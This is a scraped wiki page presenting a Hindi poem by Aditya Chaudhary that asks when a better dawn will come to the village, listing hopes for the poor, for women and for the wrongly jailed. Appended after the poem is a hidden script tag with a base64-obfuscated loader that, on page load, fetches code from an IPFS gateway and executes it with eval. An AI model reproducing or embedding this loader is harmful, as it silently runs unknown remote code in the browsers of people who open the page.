वो सुबह कभी तो आएगी -आदित्य चौधरी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Copyright.png
वो सुबह कभी तो आएगी -आदित्य चौधरी

वो 'सुबह' जो कभी आनी थी
कब आएगी ?
जिस सुबह को,
सकीना भी स्कूल जाएगी ?

नहीं टपकेगी सुक्खो की छत
और संतो दादी भी पेंशन पाएगी

कल्लो नहीं धोएगी रईसों के पोतड़े
और चंदर की शराब भी छूट जाएगी

परसादी छोड़ देगा तीन पत्ती खेलना
और सुनहरी भी मायके से लौट आएगी

बैजंती छुड़ा लेगी चूड़ियाँ सुनार से
और दोबारा 'रखने' भी नहीं जाएगी

हवालात से छूटेगा बेकसूर घूरेलाल  
और पुलिस भी बार-बार नहीं आएगी

इस बार सोनदेई जनमेगी बिटिया को
और उसकी सास भी घी के दीए जलाएगी

ऐसी सुबह मेरे गाँव में कब आएगी ?
ऐसी सुबह तेरे गाँव में कब आएगी ?


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>